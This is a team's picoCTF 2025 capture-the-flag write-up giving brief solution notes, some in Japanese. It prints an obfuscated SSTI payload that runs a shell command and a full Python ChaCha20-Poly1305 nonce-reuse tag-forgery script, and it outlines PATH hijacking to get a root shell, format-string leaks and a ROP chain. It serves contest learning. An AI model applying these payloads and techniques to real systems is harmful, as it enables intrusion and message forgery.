picoCTF 2025 Writeup
by m01nm01n
preface
category |
rank |
global |
15th |
JP Students |
5th |
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
Web Exploitation[WIP]
Cookie Monster Secret Recipe
N0S4N1TY 1
SSTI 1
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['\x70\x6f\x70\x65\x6e']('cat flag')['read']() }}
WebSockFish
Add sendMessage("eval -10000000000000000000000000000")
to end of stockfish.onmessage
.
Cryptography
hashcrack (solved by yuma)
https://md5hashing.net/hash/md5/482c811da5d5b4bc6d497ffa98491e38
EVEN RSA CAN BE BROKEN??? (solved by yuma)
Nが偶数なのでpが2であることがわかります。
Guess My Cheese (Part 1) (solved by yuma)
アフィン変換のパラメタでブルートフォース。
shuffle (solved by tsune)
easy transposition cipher.
Guess My Cheese (Part 2)
ChaCha Slide (solved by tsune)
ChaCha20 is a simple XOR-based cipher using a keystream and plaintext.
When the nonce is reused, the keystream remains identical. Thus, we can extract the keystream as shown below:
Additionally, in this case, the Poly1305 authentication protocol is used alongside ChaCha20.
If the nonce is reused in Poly1305 authentication, the internal keys (r and s) used for MAC generation will also be identical.
Therefore, we can derive the following equation regarding r from the two MAC tags:
Poly1305 computations occur over the finite field defined by 2^130 − 5
, and the final result is truncated to 128 bits. This truncation introduces uncertainty bits, which is possible to brute-force these error bits to recover the value of r.
After recovering r
, I calculated s
and successfully generated a forged authentication tag.
https://github.com/tex2e/chacha20-poly1305/tree/master
from sympy import symbols, Poly, GF, factor
from sage.all import *
import sys
P = (1 << 130) - 5
def clamp(r: int) -> int:
return (r & (0x0ffffffc0ffffffc0ffffffc0fffffff ^ 0xffffffffffffffffffffffffffffffff)) == 0
def le_bytes_to_num(byte) -> int:
res = 0
for i in range(len(byte) - 1, -1, -1):
res <<= 8
res += byte[i]
return res
def poly1305_block_value(block: bytes) -> int:
val = le_bytes_to_num(block)
return val
def poly1305_blocks(message: bytes) -> list:
blocks = []
for i in range(0, len(message), 16):
block = message[i:i+16]
blocks.append(poly1305_block_value(block))
return blocks
blocks1 = [
647157759534477252637234504792173491135,
436811556781980693999690436563929641259,
626217807416028501928508922421586017033,
367845064629831081824165666739700879012,
340282380634433653066191368209914307457,
340282366920938464883773901107403685888,
]
blocks2 = [
666973112456804531317386950020894405295,
459263131543373221041034593410766726448,
543660532425149209636297760853184668761,
377039648811261415442628034727116851633,
340282366920938463463374718643259025870,
340282366920938464754646692591436824576,
]
def solve_r(msg1: bytes, tag1: int, msg2: bytes, tag2: int) -> list:
if len(blocks1) != len(blocks2):
print("invalid cipher text", file=sys.stderr)
return []
d = len(blocks1)
delta = [ (blocks1[i] - blocks2[i]) % P for i in range(d) ]
D = (tag1 - tag2)
ca = []
for diff in range(-(2**5),2**5):
diffi = (diff << (8*16))
F= GF(P)
R = PolynomialRing(F,'r')
r = R.gen()
eq = sum(delta[i] * (r**(6-i)) for i in range(d)) - D + diffi
roots = eq.roots()
for ro in roots:
tmp = int(ro[0])
if clamp(tmp):
ca.append(tmp)
print(ca)
return ca
def pad16(x: bytes) -> bytes:
if len(x) % 16 == 0: return b''
return b'\x00' * (16 - (len(x) % 16))
import struct
import math
def num_to_8_le_bytes(num: int) -> bytes:
return struct.pack('<Q', num)
def solve_s(r,tag1,tag2) -> bytes:
a = 0
p = (1<<130) - 5
for i in range(6):
n = blocks1[i]
print(f"{n=}")
a += n
a = (r * a) % p
tmpa1 = a
a = 0
p = (1<<130) - 5
for i in range(6):
n = blocks2[i]
print(f"{n=}")
a += n
a = (r * a) % p
tmpa2 = a
for i in range(1<<(8*2)):
diff1 = 1<<128
diff1 *= i
for j in range(1<<(8*2)):
diff2 = 1<<128
diff2 *= j
if tag1+diff1-tmpa1 == tag2+diff2-tmpa2:
print("s found!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
return tag1+diff1 - tmpa1
goalblock = [
641712588637191189868450799246484221881,
355614404342532574533283601755670766652,
670226882518496733285902261191059435080,
420749030613081785389569761027042961041,
340282366920938463463374612951946726575,
340282366920938464754646692591436824576,
]
def num_to_16_le_bytes(num: int) -> bytes:
res = []
for i in range(16):
res.append(num & 0xff)
num >>= 8
return bytearray(res)
def goaltag_gen(r,s) -> bytes:
a = 0
p = (1<<130) - 5
for i in range(6):
n = goalblock[i]
a += n
a = (r * a) % p
a += s
return num_to_16_le_bytes(a)
def extract_keystream(ciphertext: bytes, plaintext: bytes) -> bytes:
if len(ciphertext) != len(plaintext):
raise ValueError("invalid cipher and plain")
keystream = bytearray(len(ciphertext))
for i in range(len(ciphertext)):
keystream[i] = ciphertext[i] ^ plaintext[i]
return bytes(keystream)
if __name__ == '__main__':
msg1 = b"Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?"
msg2 = b"That means it protects both the confidentiality and integrity of data!"
print(msg1.hex())
print(msg2.hex())
L1 = 77
L2 = 70
goal = b"But it's only secure if used correctly!"
goal= goal.ljust(L2,b"A")
m1 = "6907a7399d401f7dd5ba69a3cfc662e45fe9df4b6cb5c478c50fbf9e4f8caee6a281d77a1f2e73035bfc11df5ec2df85418614f2fd94c362a3e756bac3e01865126102d26acd743192d2a42736fd600e8b027d866ae00c8c6342d50f15cdaf116fbd47f76c8e378c60"
out1 = bytes.fromhex(m1)
m2 = "7906a26dc4420f3cd0a726bd9b927af744bdf94079858c7b984bfaee5488b2f7f2de8c3c1f39360c41b511c643dec3cb548113b3e09fd327a1fb5cbcc3b0036a5d6b43c7678b7391d912a2ca9ffe383177ac95e408f2cdaf116fbd47f76c8e378c60"
out2 = bytes.fromhex(m2)
m1 = "bfb3f409935a8f8245e15d1d000ddee62bb1538f480c7cfeae6b288181d89e4809bb7dd2ba5831fc715f94c7a6291dd7a4ce778469eedc9e80bab7a3ea61bc1481a3266428232cd8e659b116ad8d936f21d9ce589cd8d45d5074971bea955aa0b24f362cc41446ed15"
out1 = bytes.fromhex(m1)
m2 = "afb2f15dca589fc340fc12035459c6f530e575845d3c34fdf32f6df19adc825959e42694ba4f74f36b1694debb350199b1c970c574e5ccdb82a6bda5ea31a71bcea9677125652710b738678e49b5ca9f3cefbe00756b955aa0b24f362cc41446ed15"
out2 = bytes.fromhex(m2)
cipher1 = out1[:-28]
tag1 = out1[-28:-12]
nonce1 = out1[-12:]
print(f"{cipher1=}")
cipher2 = out2[:-28]
tag2 = out2[-28:-12]
nonce2 = out2[-12:]
print(f"{cipher2=}")
assert(len(cipher1) == L1)
assert(len(cipher2) == L2)
assert(nonce1 == nonce2)
nonce = m1[-24:]
key1 = extract_keystream(cipher1,msg1)
key2 = extract_keystream(cipher2,msg2)
print(f"{key1=}")
print(f"{key2=}")
assert(key2 in key1)
goalcipher = extract_keystream(goal,key2)
print(f"{goalcipher=}")
print(f"{goalcipher.hex()=}")
tag1 = int.from_bytes(tag1,byteorder="little")
tag2 = int.from_bytes(tag2,byteorder="little")
print(f"{tag1=}")
print(f"{tag2=}")
if len(msg1) != 77:
print("invalid length of msg1")
if len(msg2) != 70:
print("invalid length of msg2")
candidates = solve_r(cipher1, tag1, cipher2, tag2)
if candidates:
print("r candidate:", candidates)
for r in candidates:
print(f"{r=}")
print(f"\t{solve_s(r,tag1,tag2)=}")
s = solve_s(r,tag1,tag2)
goaltag = goaltag_gen(r,s)
print(f"{goaltag=}")
print(f"***BEGIN HACKED***")
print(
goalcipher.hex() +
goaltag.hex() +
nonce
)
print(f"***END HACKED***")
else:
print("valid r not found")
Ricochet
Reverse Engineering
Flag Hunters (solved by tsune)
insert instruction as showen below
Tap into Hash (solved by tsune)
simple xor cipher
Chronohack (solved by tsune)
We can predict the seed value. Brute force seed value by mili-second.
Quantum Scramber (solved by tsune)
An encryption function like the following is provided:
This encryption function is reversable.
Binary Instruction 2 (solved by tsune)
Based on the hint, I set a breakpoint on the file-related function KERNELBASE!CreateFile
.
Since rcx was read-only, I used the following script to change it to be writable.
This allowed me to modify the filename in the rcx using WinDbg.
Next, I set a breakpoint on KERNELBASE!WriteFile and successfully obtained the base64-encoded flag.

perplexed
I analyzed the algorithm of the check function using IDA.

Although the decompilation did not accurately represent the part where data is set onto the stack, I determined the stack structure using a debugger, as shown below:

Forensics
RED (solved by yuma)
普通の画像なので、ステガノグラフィを疑う。zstegで見えた。
Ph4nt0m 1ntrud3r (solved by yuma)
Wiresharkで読み込んで時系列順にすると、base64の文字列が見えるので順番に直すと見つかる。
Event-Viewing (solved by yuma)
xmlに直してbase64っぽい文字列を3ヶ所探す。(=や==で検索すると見つかる)
General Skills
Fantasty CTF (solved by tsune)
connect to remote server.
Chalkboard (solved by tsune)
I wrote a script that detects error strings by comparing them to normal data.
Rust fixme 1 (solved by tsune)
Rust fixme 2 (solved by tsune)
Rust fixme 3 (solved by tsune)
YaraRules0x100 (solved by yuma)
APIや関数名を入れると偽陽性が出るので、調整が難しかった。
ChatGPTに入れて、バイトパターンや謎のデバッグプロセスを追加したらパスした。
$mal_str10 = "DebugActiveProcess"
Binary Exploitation
PIE TIME (solved by tsune)
Since we are given the address of the main function, we can compute the address of the win function relative to it.
hash only 1 (solved by tsune)
By adding a custom-made shell script as shown below to /tmp/md5sum which exprted as $PATH
, a root shell will be launched.
PIE TIME 2 (solved by tsune)
Leak binary address by format string bugs.
The output of format string bugs depends on the machine lol.
In this challenge, offset 19 provide me a stable leaking.
hash only 2 (solved by tsune)
the remote server provide me a jail console.
use chsh
command to change console and do flow same as hash only 1.
Valley (solved by tsune)
The challenge contains obvious format string bugs.
I exploited these format string bugs to leak binary and partially overwrite the return address, achieving a ret2win attack.

handoff (solved by tsune)
Although the stack is executable, exploitation seems difficult due to the absence of ROP gadgets like jmp rsp
or call rsp
.
However, this challenge contains a buffer overflow vulnerability, so I successfully obtained a shell using a ROP attack.
First, I pivoted the stack to a writable region.
Since this binary has Partial RELRO, all regions below .data
are writable.
Additionally, because the scanf()
function consumes a large amount of stack, the memory around rbp-0xf00
must be writable.

Next, since total_entries is stored on the stack(rbp-0x4
) behind the feedback
, we overwrite total_entries to invoke the function at address 0x04012c3.
With this, we can write the ROP chain starting from return address + 0x30.

Next, we insert the following pop gadget to pad the space between retaddr and retaddr+0x30.
Finally, using the glibc address leaked via rop chain, we calculate the address of the one_gadget and return to it.
